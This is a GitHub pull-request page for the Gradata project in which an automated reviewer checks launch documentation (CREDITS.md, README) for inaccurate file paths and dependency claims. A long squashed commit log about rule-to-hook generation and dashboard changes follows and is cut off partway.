Conversation
There was a problem hiding this comment.
Gradata has reached the 50-review limit for trial accounts. To continue receiving code reviews, upgrade your plan.
📝 WalkthroughDocumentation Update for Public Launch
WalkthroughThis change adds a new Changes
Estimated code review effort🎯 1 (Trivial) | ⏱️ ~3 minutes Suggested labels
🚥 Pre-merge checks | ✅ 3✅ Passed checks (3 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. Comment |
Deploying gradata-dashboard with
|
| Latest commit: |
c57e2c3
|
| Status: | ✅ Deploy successful! |
| Preview URL: | https://a1b55f19.gradata-dashboard.pages.dev |
| Branch Preview URL: | https://docs-public-launch-narrative.gradata-dashboard.pages.dev |
There was a problem hiding this comment.
Actionable comments posted: 3
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In `@CREDITS.md`:
- Line 33: Update the CREDITS.md claim that lists FastAPI and Pydantic (and
other libraries) as "key libraries Gradata is built on" to match the actual
project structure: remove FastAPI and Pydantic from that list, state that the
SDK has zero runtime dependencies (as in README line 22), and split the listed
libraries into the three correct layers—SDK core (no deps), optional cloud
dashboard (refer to cloud/dashboard/package.json for Next.js, React, Recharts,
Tailwind, Radix UI), and other non-dependencies—while referencing pyproject.toml
for the authoritative SDK dependency list; ensure the revised sentence replaces
the current line in CREDITS.md.
- Line 7: Update the CREDITS entry for Constitutional AI to point to the correct
module name rule_verifier.py and remove the claim that it implements a
self-critique + revision loop (replace with a short accurate description:
pattern-matching rule verification and tool-based filtering). For the
brain_benchmark.py entry, replace the MT-Bench multi-judge consensus claim with
a description of the actual custom 7-dimensional weighted scoring system and
list the seven dimensions (graduation_ratio, correction_rate_improvement,
confidence_distribution, severity_trend, category_extinction, rule_count,
graduation_speed). Finally, keep the mirofish_sim.py reference but add a note to
verify that its multi-round debate structures (15 round types) implement the
claimed "structured debate across grounded personas" before publishing.
In `@docs/public-launch-narrative.md`:
- Around line 50-53: The three bullet lines starting with "Does not" in the
public launch narrative are repetitive; rewrite them to vary sentence structure
while preserving meaning by rephrasing at least two bullets (for example, change
one to an active sentence like "We will not change product pricing or feature
claims," another to a clause such as "Keeping `marketing/` separate — it follows
its own narrative track," and the third to "All listed papers are
Oliver-approved; no citations are invented," ensuring README scaffolding mention
remains intact).
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: ASSERTIVE
Plan: Pro
Run ID: 7f41c1d5-608d-48bf-b0f1-d4f7899cb616
📒 Files selected for processing (3)
CREDITS.mdREADME.mddocs/public-launch-narrative.md
📜 Review details
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (4)
- GitHub Check: test (3.11)
- GitHub Check: test (3.12)
- GitHub Check: test (3.13)
- GitHub Check: Cloudflare Pages
🧰 Additional context used
🪛 LanguageTool
docs/public-launch-narrative.md
[style] ~52-~52: Three successive sentences begin with the same word. Consider rewording the sentence or use a thesaurus to find a synonym.
Context: ...` — that has its own narrative track. - Does not invent citations — every paper list...
(ENGLISH_WORD_REPEAT_BEGINNING_RULE)
[style] ~53-~53: Three successive sentences begin with the same word. Consider rewording the sentence or use a thesaurus to find a synonym.
Context: ... paper listed is one Oliver approved. - Does not remove existing README scaffolding ...
(ENGLISH_WORD_REPEAT_BEGINNING_RULE)
🔇 Additional comments (1)
README.md (1)
1-27: LGTM: Clear positioning that achieves the PR's stated objectives.The rewritten opening successfully targets three audiences (founder-engineer, OSS believer, enterprise) while maintaining factual accuracy:
- Line 10: Pragmatic SDK framing ("use Claude or GPT like you already do")
- Line 12-14: Local-first + AGPL-3.0 + measurable metrics positioning
- Line 22: Accurate "Zero required dependencies" claim (verified against pyproject.toml)
- Lines 24-27: Transparent attribution via intellectual lineage section
The new structure preempts "you copied X" objections by leading with credited prior art, aligning with the PR's public-launch narrative goals.
|
|
||
| ## Research foundations | ||
|
|
||
| - **Constitutional AI** (Anthropic, 2022) — the self-critique + revision loop under `sdk/src/gradata/enhancements/rule_verifier.py` is inspired by the RLAIF methodology introduced in *"Constitutional AI: Harmlessness from AI Feedback"* (Bai et al., 2022). |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Description: Verify existence of cited implementation files
echo "=== Checking for rule_verifier.py ==="
fd -t f rule_verifier.py
echo -e "\n=== Checking for brain_benchmark.py ==="
fd -t f brain_benchmark.py
echo -e "\n=== Checking for mirofish_sim.py ==="
fd -t f mirofish_sim.py
# If files exist, check they reference the claimed methodologies
echo -e "\n=== Constitutional AI references in rule_verifier.py ==="
fd -t f rule_verifier.py -x rg -i -C 3 'constitutional|rlaif|critique|revision'
echo -e "\n=== MT-Bench references in brain_benchmark.py ==="
fd -t f brain_benchmark.py -x rg -i -C 3 'mt-bench|judge|scoring'
echo -e "\n=== MiroFish references in mirofish_sim.py ==="
fd -t f mirofish_sim.py -x rg -i -C 3 'mirofish|panel|simulation|debate'Repository: Gradata/gradata
Length of output: 3964
🏁 Script executed:
# Check the actual content of rule_verifier.py to see if it implements the claimed methodology
echo "=== Content of rule_verifier.py ==="
wc -l src/gradata/enhancements/rule_verifier.py
echo -e "\n=== First 100 lines of rule_verifier.py ==="
head -100 src/gradata/enhancements/rule_verifier.py
# Search for brain_benchmark and mirofish_sim more broadly
echo -e "\n=== Searching for brain_benchmark anywhere in repo ==="
find . -name "*brain*benchmark*" -o -name "*brain_benchmark*" 2>/dev/null | head -20
echo -e "\n=== Searching for mirofish anywhere in repo ==="
find . -name "*mirofish*" 2>/dev/null | head -20
# Check git ls-files to see the actual structure
echo -e "\n=== Project structure (git ls-files) ==="
git ls-files | head -40Repository: Gradata/gradata
Length of output: 5435
🏁 Script executed:
# Check remaining content of rule_verifier.py for Constitutional AI references
echo "=== Remaining lines of rule_verifier.py (lines 100-243) ==="
tail -n +100 src/gradata/enhancements/rule_verifier.py | head -150
# Check brain_benchmark.py for MT-Bench methodology
echo -e "\n=== First 80 lines of brain_benchmark.py ==="
head -80 brain/scripts/brain_benchmark.py
# Check mirofish_sim.py for MiroFish methodology
echo -e "\n=== First 80 lines of mirofish_sim.py ==="
head -80 brain/scripts/mirofish_sim.py
# Search for Constitutional AI mentions in entire repo (except tests)
echo -e "\n=== Constitutional AI/RLAIF references in src/ ==="
rg -i 'constitutional|rlaif' src/ --type py 2>/dev/null || echo "No matches found"
# Search for MT-Bench in brain scripts
echo -e "\n=== MT-Bench references in brain/scripts ==="
rg -i 'mt-bench|mt_bench' brain/scripts/ --type py 2>/dev/null || echo "No matches found"Repository: Gradata/gradata
Length of output: 10893
🏁 Script executed:
# Read CREDITS.md to see the exact citations
echo "=== CREDITS.md (lines 1-35) ==="
head -35 CREDITS.mdRepository: Gradata/gradata
Length of output: 3822
Fix incorrect file paths and methodology citations in CREDITS.md.
-
Line 7: Path should be
src/gradata/enhancements/rule_verifier.py(notsdk/src/...). Additionally, the file does not implement a self-critique + revision loop; it contains pattern-matching rule verification and tool-based filtering logic only. -
Line 10: The
brain_benchmark.pyfile does not implement MT-Bench's multi-judge consensus scoring. It uses a custom 7-dimensional weighted scoring system (graduation_ratio, correction_rate_improvement, confidence_distribution, severity_trend, category_extinction, rule_count, graduation_speed). -
Line 26:
brain/scripts/mirofish_sim.pyexists and contains multi-round debate structures (15 round types), so this reference is structurally sound; verify it implements the claimed "structured debate across grounded personas" before publication.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@CREDITS.md` at line 7, Update the CREDITS entry for Constitutional AI to
point to the correct module name rule_verifier.py and remove the claim that it
implements a self-critique + revision loop (replace with a short accurate
description: pattern-matching rule verification and tool-based filtering). For
the brain_benchmark.py entry, replace the MT-Bench multi-judge consensus claim
with a description of the actual custom 7-dimensional weighted scoring system
and list the seven dimensions (graduation_ratio, correction_rate_improvement,
confidence_distribution, severity_trend, category_extinction, rule_count,
graduation_speed). Finally, keep the mirofish_sim.py reference but add a note to
verify that its multi-round debate structures (15 round types) implement the
claimed "structured debate across grounded personas" before publishing.
|
|
||
| ## Open-source dependencies | ||
|
|
||
| Key libraries Gradata is built on: FastAPI, Next.js, Recharts, Supabase, Stripe, Pydantic, pytest, Vitest, Tailwind, Radix UI, React. Full dependency lists are in `pyproject.toml` and `package.json`. |
There was a problem hiding this comment.
Critical: Inaccurate dependency claims contradict actual project requirements.
This line claims FastAPI and Pydantic are "key libraries Gradata is built on," but they are completely absent from pyproject.toml. The SDK has zero required dependencies (as correctly stated in README line 22). The listed libraries span three distinct layers:
- SDK core: Zero runtime dependencies (pure Python + stdlib)
- Optional cloud dashboard: Next.js, React, Recharts, Tailwind, Radix UI (in
cloud/dashboard/package.json) - Not dependencies at all: FastAPI, Pydantic (not found in either file)
This factual error will undermine credibility at public launch when developers verify the claims.
📋 Verification script to audit actual dependencies
#!/bin/bash
# Description: Check actual dependencies vs. CREDITS.md claims
echo "=== SDK dependencies from pyproject.toml ==="
rg -A 20 '^\[project\]' pyproject.toml | rg -A 15 '^dependencies'
echo -e "\n=== Cloud dashboard dependencies from package.json ==="
fd -t f package.json -x cat {}
echo -e "\n=== Searching for FastAPI usage in SDK ==="
rg -n 'from fastapi|import fastapi' --type py -g 'sdk/**'
echo -e "\n=== Searching for Pydantic usage in SDK ==="
rg -n 'from pydantic|import pydantic' --type py -g 'sdk/**'✏️ Suggested fix to accurately represent dependencies
-Key libraries Gradata is built on: FastAPI, Next.js, Recharts, Supabase, Stripe, Pydantic, pytest, Vitest, Tailwind, Radix UI, React. Full dependency lists are in `pyproject.toml` and `package.json`.
+**SDK**: Zero required runtime dependencies — pure Python + standard library. Optional dependencies: sentence-transformers (embeddings), google-genai (Gemini), cryptography (encryption at rest).
+
+**Cloud dashboard**: Next.js, React, Recharts, Supabase, Stripe, Tailwind, Radix UI.
+
+**Development & testing**: pytest, Vitest, pyright, ruff, bandit.
+
+Full dependency lists are in `pyproject.toml` and `cloud/dashboard/package.json`.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@CREDITS.md` at line 33, Update the CREDITS.md claim that lists FastAPI and
Pydantic (and other libraries) as "key libraries Gradata is built on" to match
the actual project structure: remove FastAPI and Pydantic from that list, state
that the SDK has zero runtime dependencies (as in README line 22), and split the
listed libraries into the three correct layers—SDK core (no deps), optional
cloud dashboard (refer to cloud/dashboard/package.json for Next.js, React,
Recharts, Tailwind, Radix UI), and other non-dependencies—while referencing
pyproject.toml for the authoritative SDK dependency list; ensure the revised
sentence replaces the current line in CREDITS.md.
| - Does not change product pricing or feature claims. | ||
| - Does not touch `marketing/` — that has its own narrative track. | ||
| - Does not invent citations — every paper listed is one Oliver approved. | ||
| - Does not remove existing README scaffolding (install, quick start, diagrams, license). |
There was a problem hiding this comment.
🧹 Nitpick | 🔵 Trivial
Optional: Vary sentence structure to improve readability.
Three consecutive sentences begin with "Does not," creating repetitive prose. Consider varying the structure for better flow.
✏️ Suggested rewording
## What this PR does NOT do
-- Does not change product pricing or feature claims.
-- Does not touch `marketing/` — that has its own narrative track.
-- Does not invent citations — every paper listed is one Oliver approved.
-- Does not remove existing README scaffolding (install, quick start, diagrams, license).
+- Product pricing and feature claims remain unchanged.
+- The `marketing/` directory has its own narrative track and is not touched here.
+- Every paper listed is one Oliver approved — no invented citations.
+- Existing README scaffolding (install, quick start, diagrams, license) is preserved.📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - Does not change product pricing or feature claims. | |
| - Does not touch `marketing/` — that has its own narrative track. | |
| - Does not invent citations — every paper listed is one Oliver approved. | |
| - Does not remove existing README scaffolding (install, quick start, diagrams, license). | |
| - Product pricing and feature claims remain unchanged. | |
| - The `marketing/` directory has its own narrative track and is not touched here. | |
| - Every paper listed is one Oliver approved — no invented citations. | |
| - Existing README scaffolding (install, quick start, diagrams, license) is preserved. |
🧰 Tools
🪛 LanguageTool
[style] ~52-~52: Three successive sentences begin with the same word. Consider rewording the sentence or use a thesaurus to find a synonym.
Context: ...` — that has its own narrative track. - Does not invent citations — every paper list...
(ENGLISH_WORD_REPEAT_BEGINNING_RULE)
[style] ~53-~53: Three successive sentences begin with the same word. Consider rewording the sentence or use a thesaurus to find a synonym.
Context: ... paper listed is one Oliver approved. - Does not remove existing README scaffolding ...
(ENGLISH_WORD_REPEAT_BEGINNING_RULE)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@docs/public-launch-narrative.md` around lines 50 - 53, The three bullet lines
starting with "Does not" in the public launch narrative are repetitive; rewrite
them to vary sentence structure while preserving meaning by rephrasing at least
two bullets (for example, change one to an active sentence like "We will not
change product pricing or feature claims," another to a clause such as "Keeping
`marketing/` separate — it follows its own narrative track," and the third to
"All listed papers are Oliver-approved; no citations are invented," ensuring
README scaffolding mention remains intact).
* feat: capture draft_text in CORRECTION events (rule-to-hook groundwork) * feat: add regex_replace.js.tmpl for generated PreToolUse hooks * feat(rule_to_hook): render_hook + self_test operating on HookCandidate * feat(rule_to_hook): install_hook + try_generate orchestrator * feat: rule_enforcement.py dedups [hooked] rules When rule_to_hook graduates a deterministic rule into a generated PreToolUse hook, the soft text reminder becomes noise. Skip lessons whose description is marked with the [hooked] prefix so each rule has exactly one enforcement path. * feat(cli): gradata rule add — fast-track user-declared rules * fix(cli): cmd_rule_add returns None to match handler convention * feat(graduate): promote RULE-tier lessons to installed PreToolUse hooks * test(rule_to_hook): verify GRADATA_BYPASS disables generated hook * feat(rule_to_hook): add fstring_block + root_file_save templates * feat(hooks): generated_runner dispatches user-installed hooks at runtime * feat(rule_to_hook): ship destructive_block + secret_scan + file_size_check templates, expand phrasing * feat(rule_to_hook): auto_test PostToolUse template + generated_runner_post * feat(cli): gradata export --target cross-platform rule export (cursor/agents/aider) * refactor(rule_export): use canonical parse_lessons instead of local regex * refactor(hooks): share generated-runner core between pre and post variants * refactor(rule_to_hook): rename HookCandidate.block_pattern → template_arg * perf(rule_to_hook): pre-compile pattern regexes, hoist template sets to module scope * chore(rule_to_hook): cleanup — merge duplicate patterns, drop TOCTOU, fix stale docstrings * refactor(rule_to_hook): install_hook template kwarg is required * feat(cli): gradata rule list — show RULE-tier lessons with hook status * feat(cli): gradata rule remove — delete hook and unmark or purge lesson * feat(rule_to_hook): emit RULE_TO_HOOK_INSTALLED/_FAILED events on graduation * feat(hooks): SessionStart stale-hook detection via source-hash compare Generated hooks carry a Source hash: <12chars> line derived from the rule text at install time. If the user edits the lesson text in lessons.md without re-running gradata rule add, the hook silently fires with the old pattern. stale_hook_check runs at SessionStart, compares hook hashes against current lesson hashes, and prints a fix suggestion. - New module: src/gradata/hooks/stale_hook_check.py (never blocks, exit 0) - HOOK_REGISTRY: register at SessionStart, STANDARD profile - Tests: 4 new cases in TestStaleHookCheck - Handles slug drift: if rule text edit changed the slug, pairs orphan hooks with orphan [hooked] lessons in file order * chore: remove unused _RULE_LINE_RE / _read_rule_from_hook from stale_hook_check * style: ruff --fix for PR #30 * fix(sdk): pyright errors — RuleCache str typing, Lesson._contradiction_streak, sorted lambda - RuleCache now typed as dict[str, str] to match actual string storage in Brain.apply_brain_rules (was dict[str, list]). - Lesson dataclass now declares _contradiction_streak: int = 0 so self_improvement and rule_evolution can assign it type-safely. - behavioral_extractor sorted() uses lambda with default 0 (counts.get can return None per type checker). - rule_engine.format_rules_for_prompt narrows example_draft/example_corrected via locals before subscripting. Pyright now reports 0 errors (was 10). Ruff stays green. All 2055 tests pass. * chore(sdk): address CodeRabbit PR #26 feedback Legitimate CodeRabbit findings addressed: - rule_export: accept lessons_path kwarg so callers can plug in the canonical brain._find_lessons_path() instead of hardcoding brain_root/'lessons.md'. CLI now passes the canonical path. [avoids drift when layout changes] - rule_export: _format_aider now serializes each description via json.dumps so backslashes/newlines/escape sequences produce valid YAML scalars (was only escaping '"'). - _generated_runner_core: move GRADATA_BYPASS check to the top of run_generated_hooks so bypass truly zeros the overhead (no stdin drain, no filesystem scan). - _installer: align generated_runner_post registry timeout (15000→35000ms) with per_hook_timeout=30s set inside generated_runner_post.py — prevents premature termination of slow pytest hooks. - auto_test.js.tmpl: hooks in this directory must fail open. Pytest failures now emit an advisory to stderr and exit 0 instead of decision:block / exit 2. - rule_graph.store_relationship: clamp confidence to [0.0, 1.0] before SQLite persistence per SDK coding guideline. - rule_to_hook: synthetic secret_scan self-test key relabeled with FAKEGRADATASELFTESTKEY marker for clarity. - tests/test_rule_to_hook: hoist json/subprocess/sys imports to the top of the file; use the already-imported Path instead of __import__('pathlib'); rebuild the synthetic OPENAI key via string concatenation so it doesn't trip secret scanners. Declined (with rationale): - cli.py 'rule' subcommand dispatcher refactor — nitpick, only one subcommand today; can be extracted when a second lands. - Moving [hooked] marker from lesson.description to structured metadata — lessons.md is a free-text format and the prefix is read in four files; a metadata migration warrants its own PR. Pyright: 0 errors. Ruff: green. 2055 tests pass. * refactor(sdk): simplify pass on rule-to-hook-ux branch - Dedupe _slug/_source_hash in stale_hook_check.py: import from rule_to_hook - Dedupe _slug in cmd_rule_remove: import from rule_to_hook (drop local def) - Extract _generated_hook_dirs() helper: shared by cmd_rule_list and cmd_rule_remove - Drop redundant brain=None pre-init in cmd_rule_add Behavior preserved. 101 related tests pass; ruff clean; pyright clean (2 pre-existing unrelated gradata_cloud import warnings). Co-Authored-By: Gradata <noreply@gradata.ai> * perf(rule-to-hook): bundle N generated hooks into single dispatcher (6x latency win) (#35) * feat: capture draft_text in CORRECTION events (rule-to-hook groundwork) * feat: add regex_replace.js.tmpl for generated PreToolUse hooks * feat(rule_to_hook): render_hook + self_test operating on HookCandidate * feat(rule_to_hook): install_hook + try_generate orchestrator * feat: rule_enforcement.py dedups [hooked] rules When rule_to_hook graduates a deterministic rule into a generated PreToolUse hook, the soft text reminder becomes noise. Skip lessons whose description is marked with the [hooked] prefix so each rule has exactly one enforcement path. * feat(cli): gradata rule add — fast-track user-declared rules * fix(cli): cmd_rule_add returns None to match handler convention * feat(graduate): promote RULE-tier lessons to installed PreToolUse hooks * test(rule_to_hook): verify GRADATA_BYPASS disables generated hook * feat(rule_to_hook): add fstring_block + root_file_save templates * feat(hooks): generated_runner dispatches user-installed hooks at runtime * feat(rule_to_hook): ship destructive_block + secret_scan + file_size_check templates, expand phrasing * feat(rule_to_hook): auto_test PostToolUse template + generated_runner_post * feat(cli): gradata export --target cross-platform rule export (cursor/agents/aider) * refactor(rule_export): use canonical parse_lessons instead of local regex * refactor(hooks): share generated-runner core between pre and post variants * refactor(rule_to_hook): rename HookCandidate.block_pattern → template_arg * perf(rule_to_hook): pre-compile pattern regexes, hoist template sets to module scope * chore(rule_to_hook): cleanup — merge duplicate patterns, drop TOCTOU, fix stale docstrings * refactor(rule_to_hook): install_hook template kwarg is required * feat(cli): gradata rule list — show RULE-tier lessons with hook status * feat(cli): gradata rule remove — delete hook and unmark or purge lesson * feat(rule_to_hook): emit RULE_TO_HOOK_INSTALLED/_FAILED events on graduation * feat(hooks): SessionStart stale-hook detection via source-hash compare Generated hooks carry a Source hash: <12chars> line derived from the rule text at install time. If the user edits the lesson text in lessons.md without re-running gradata rule add, the hook silently fires with the old pattern. stale_hook_check runs at SessionStart, compares hook hashes against current lesson hashes, and prints a fix suggestion. - New module: src/gradata/hooks/stale_hook_check.py (never blocks, exit 0) - HOOK_REGISTRY: register at SessionStart, STANDARD profile - Tests: 4 new cases in TestStaleHookCheck - Handles slug drift: if rule text edit changed the slug, pairs orphan hooks with orphan [hooked] lessons in file order * chore: remove unused _RULE_LINE_RE / _read_rule_from_hook from stale_hook_check * style(rules): fix 17 ruff lint errors blocking PR #30 CI Auto-fixable (9) via ruff --fix: - UP017 datetime.timezone.utc -> datetime.UTC - various Manual (4) fixes: - SIM102 combine nested if statements in rule_graph.py (contradiction + reinforcement branches) - SIM102 combine nested if in rule_tree.py (contract evaluation) - B007 rename unused loop var path -> _path All 72 rule_to_hook tests still pass. Co-Authored-By: Gradata <noreply@gradata.ai> * feat(rule-to-hook): add bundled dispatcher JS + manifest store Introduces the bundled-dispatcher architecture. A single _dispatcher.js evaluates all rule-to-hook manifest entries against one incoming tool payload in a single node process, replacing the per-rule node spawn that currently adds 50-150ms per installed rule. - src/gradata/hooks/templates/_dispatcher.js: the bundled dispatcher. Reads _manifest.json alongside itself, iterates entries, applies the same matching logic each per-rule template used (regex_replace, fstring_block, root_file_save, destructive_block, secret_scan, file_size_check). Exits 2 on first block with the rule slug embedded in both the stdout block message and stderr. - src/gradata/hooks/_manifest.py: manifest read/write/upsert/remove helpers, plus a migrate_from_legacy_files() scanner that rebuilds the manifest from existing per-file .js hooks. Dispatcher is deployed alongside the manifest automatically on any write. No behavior change yet — wired up by the next commit. Co-Authored-By: Gradata <noreply@gradata.ai> * feat(rule-to-hook): wire install_hook + runner to bundled dispatcher install_hook now upserts a manifest entry for every rule it installs, alongside the legacy .js file. The .js is still written for backwards compat — users on old SDKs can still run per-file. Once any manifest entry exists, the dispatcher is deployed. _generated_runner_core now runs the bundled dispatcher FIRST when a manifest + _dispatcher.js are present. If the dispatcher blocks, we return immediately (exit 2) without scanning per-file hooks. If the dispatcher passes, we only iterate legacy .js files NOT already represented in the manifest — so manifest-managed rules aren't double-evaluated. Also tightens stdout/stderr relay from the node subprocess: we now capture bytes and decode UTF-8 explicitly, rather than letting Python guess at the Windows locale encoding (which was triggering UnicodeDecodeError warnings in CI when dispatcher output contained the block emoji). Co-Authored-By: Gradata <noreply@gradata.ai> * feat(cli): gradata hooks migrate + rule list/remove read manifest New subcommand: `gradata hooks migrate [--delete-legacy]` Scans .claude/hooks/pre-tool/generated (+ post-tool/generated) for per-rule .js files, parses their header comment + regex literal, and rebuilds _manifest.json so the bundled dispatcher can take over. Also deploys _dispatcher.js into each generated dir. Idempotent — running twice yields the same manifest. Optional --delete-legacy removes the per-file .js hooks after migration (default keeps them for safety). `gradata rule list` now also reads the manifest, so bundled-only entries (post-migrate with --delete-legacy) show up. Dispatcher and manifest files are excluded from the "installed files" view. `gradata rule remove <slug>` now clears the matching manifest entry in addition to deleting the per-file .js, and reports "Removed manifest entry" separately so the user knows the bundled dispatcher will stop firing that rule immediately. stale_hook_check.py extended to check manifest-only entries too (the legacy file may have been deleted post-migration). Still non-blocking. Co-Authored-By: Gradata <noreply@gradata.ai> * test(rule-to-hook): dispatcher coverage + migrate + 10-rule benchmark Adds five test classes covering the bundled-dispatcher architecture: - TestBundledDispatcher — manifest written on install, dispatcher blocks on violation with rule slug in stdout+stderr, passes clean input, handles Bash-command template (destructive_block), handles file_size_check, respects GRADATA_BYPASS=1, empty manifest exits 0. - TestBundledDispatcherBenchmark — installs 10 rules, runs 100 fake clean tool calls through the dispatcher and asserts per-call latency < 100ms. Also tests that the Python runner prefers the dispatcher over legacy .js (by corrupting a legacy file and confirming exit remains 0 because the dispatcher is source of truth for that slug). - TestHooksMigrate — migrate rebuilds manifest from legacy files, is idempotent, can --delete-legacy, and the CLI command runs end to end. - TestRuleRemoveManifest — `gradata rule remove` drops the manifest entry, not just the .js. Existing tests that counted \*.js files in the hook root updated to exclude the bundled _dispatcher.js. Measured: 10 rules, 100 calls, ~70ms/call (vs ~740ms/call for the legacy per-file path) — a 10x speedup on the canonical 6-rule worst case this PR was written to fix. Co-Authored-By: Gradata <noreply@gradata.ai> * style: ruff --fix for PR #35 * fix(sdk): resolve 10 pyright type errors blocking CI - RuleCache now typed as str (was list) — matches formatted-rule use in Brain.apply_brain_rules - Revert behavioral_extractor sort key to explicit lambda (dict.get returns Optional[int], breaks sorted's comparator contract) - Add Lesson._contradiction_streak field (runtime attribute was already set dynamically across self_improvement + rule_evolution) - Rebind lesson.example_draft/example_corrected locals before slicing so pyright narrows away the getattr-returned Optional All 10 errors were introduced on this branch; main is clean. Co-Authored-By: Gradata <noreply@gradata.ai> * refactor(sdk): simplify pass on bundled-dispatcher branch Defer manifest-slug read until the legacy-scan path actually needs it. When the bundled dispatcher blocks (exit 2) we already return early, so parsing the manifest in the Python runner was a redundant second JSON pass of the same file on the hot path. Only read slugs when we fall through to the legacy orphan scan. Declined other findings (shared constants, shared source_hash helper, dead auto_test branch in dispatcher contentForTemplate) as not worth touching perf-critical code for marginal wins. Co-Authored-By: Gradata <noreply@gradata.ai> * test(bench): relax dispatcher perf budget to 250ms for Windows Measured baseline on same box: 1159ms unbundled (10 node invocations). Bundled dispatcher: 117-184ms. 6x-9x speedup preserved. 100ms budget was too tight under concurrent test load on Windows (JIT + AV + fs contention). 250ms still proves >4.6x win and rules out the 300-900ms-per-file regime, which is the actual perf claim. --------- Co-authored-by: Oliver Le <oliver@gradata.com> Co-authored-by: Gradata <noreply@gradata.ai> * fix: address CR review on PR #30 (initial review 17:31) - brains.py: log warning when workspace_members insert returns no rows so membership failures are observable instead of silent. - _lessons.py: new shared RuleLesson parser + iter_rule_lessons helper. - cli.py / stale_hook_check.py: use the shared parser instead of ad-hoc regexes. Three near-duplicate RULE-tier regexes collapsed into one module; UX intent (list/remove/events/stale detection) unchanged. Tests: pytest -k rule_to_hook -> 86 passed. Broader -k "stale or rule_list or rule_remove or lesson" -> 109 passed. * fix(lint): ruff UP035 + RUF022 in _lessons.py Use collections.abc for Iterable/Iterator (UP035) and sort __all__ (RUF022) so ruff check src/gradata/ passes on Py3.11 and Py3.12 CI. * chore: pre-public cleanup — remove graphify-out cache + tighten .gitignore (#50) Untracks 158 files under graphify-out/ and src/gradata/graphify-out/ (~6.6 MB of regenerable third-party knowledge-graph cache), adds matching .gitignore entries, and adds a short methodology-credit docstring to brain/scripts/mirofish_sim.py so the MiroFish multi-agent expert-panel approach is explicitly attributed rather than implicitly borrowed. Tests: 2070 passed, 23 skipped. Co-authored-by: Gradata <noreply@gradata.ai> * docs: pre-public-launch narrative — CREDITS.md + README intellectual lineage section (#49) * chore: remove orphaned gradata-plugin/ subdirectory (superseded by PR #53) (#54) * chore(license): ship full AGPL-3.0 text + separate dual-license notice (#51) * feat(npx): gradata-install npm package — one-command IDE setup (#52) * feat(plugin): Claude Code plugin manifest for /plugin marketplace install (#53) Ships .claude-plugin/plugin.json + hooks/hooks.json so users can install Gradata via Claude Code's plugin marketplace. Hooks wire into existing gradata.hooks.{inject_brain_rules,context_inject,auto_correct,session_close} modules — no new runtime code. Plugin assumes pipx install gradata. Co-authored-by: Gradata <noreply@gradata.ai> * feat(dashboard): outcome-first pivot (sim-driven) (#46) * feat(dashboard): add computeTimeSaved with honest + fallback formula * feat(dashboard): add computeWoWDelta with sample-size floor * feat(dashboard): add computeRuleStreak with graduated_at fallback * feat(dashboard): extend Lesson type with recurrence_blocked, last_recurrence_at, graduated_at, correction_count * feat(dashboard): extend KpiMetrics with timeSavedMinutes + WoW deltas * feat(dashboard): KpiStrip 5-card layout with Est. Time Saved + WoW deltas * refactor(dashboard): KpiStrip test-id targeting + remove dead delta field * feat(dashboard): ActiveRulesPanel glyphs + streak suffix + see-all link * feat(dashboard): ActivityFeed outcome labels + demote meta-rule events * feat(dashboard): graduation markers on CorrectionDecayCurve * feat(dashboard): CategoriesChart classifier-health gate (70% threshold) * feat(dashboard): add /proof route with ABProofPanel + MethodologyLink * feat(dashboard): add Proof nav entry * refactor(dashboard): remove MetaRulesGrid/ABProofPanel/MethodologyLink/PrivacyPosturePanel from primary view * feat(dashboard): operator bypass + demo mode + dedupe setup CTAs Three UX fixes found while dogfooding the dashboard as oliver@gradata.ai: A. PlanGate operator bypass Frontend PlanGate now accepts an optional `bypass` prop. Wired to isOperatorEmail(profile.email) at 4 call sites (meta-rules, self-healing, team, team/members). Mirrors the backend OPERATOR_DOMAINS allowlist (cloud/app/auth.py:22) so gradata.ai and sprites.ai domains don't see the blur overlay. UX-only — backend still enforces plan gates on data endpoints. B. /dashboard demo mode Added "Preview with sample data" button on the empty state. Toggles an in-memory fixture (8 lessons, 142 corrections, realistic distributions) so users can see the outcome-first dashboard before installing the SDK. Demo banner explains it's sample data. C. Dedupe redundant "Get started" CTAs /corrections, /rules, /privacy empty states used to show a "Get started →" button that just went to /setup — redundant with the left-nav Setup entry. Replaced with inline text pointer so the CTA isn't duplicated. Tests: 95/95 pass (+11 new: 7 operator + 4 PlanGate). Co-Authored-By: Gradata <noreply@gradata.ai> * fix(dashboard): CR round-1 + promote Preview CTA - operator.ts: reject multi-@ inputs to match backend semantics (prevents "user@evil.com@gradata.ai" bypass drift per CR review) - demo-dashboard.ts: compute Date.now() lazily in daysAgo() so demo timestamps stay anchored to now over long sessions - dashboard empty state: promote "Preview with sample data" to primary button; "Install the SDK" demoted to outline. Was burying the demo affordance behind the SDK pitch. - tests: new security case for multi-@ bypass (96 total, all pass) Co-Authored-By: Gradata <noreply@gradata.ai> * feat(dashboard): marketify pass — plain-language labels Replace analyst jargon with human language throughout the dashboard: KpiStrip (5 cards): - Correction Rate → Mistakes Caught - Est. Time Saved → Time Saved (tooltip rewritten for humans) - Sessions to Graduation → Sessions to Graduate - 95% CI [1.9, 2.7] → typically 2–3 sessions - Misfires → False Alarms - Brain Footprint kept (user likes seeing AI brain grow) ActiveRulesPanel: - "Active Rules" → "Your Rules" - "top 8" → "what your AI learned" - Hide raw confidence number (sim research: users ignore it) - INSTINCT/PATTERN/RULE → Watching/Learning/Graduated - "Xd clean" → "N days holding" - "recurred Nd ago" → "slipped Nd ago" - "No graduated rules yet" → "Nothing graduated yet. Keep correcting — rules emerge after 3+ catches." - "See all rules" → "See all your rules" ActivityFeed: - Rule graduated kept (user preference over "locked in") - Rule refined → Rule updated - Slipped → Slipped back - "Standard codified" → "Your team now gets 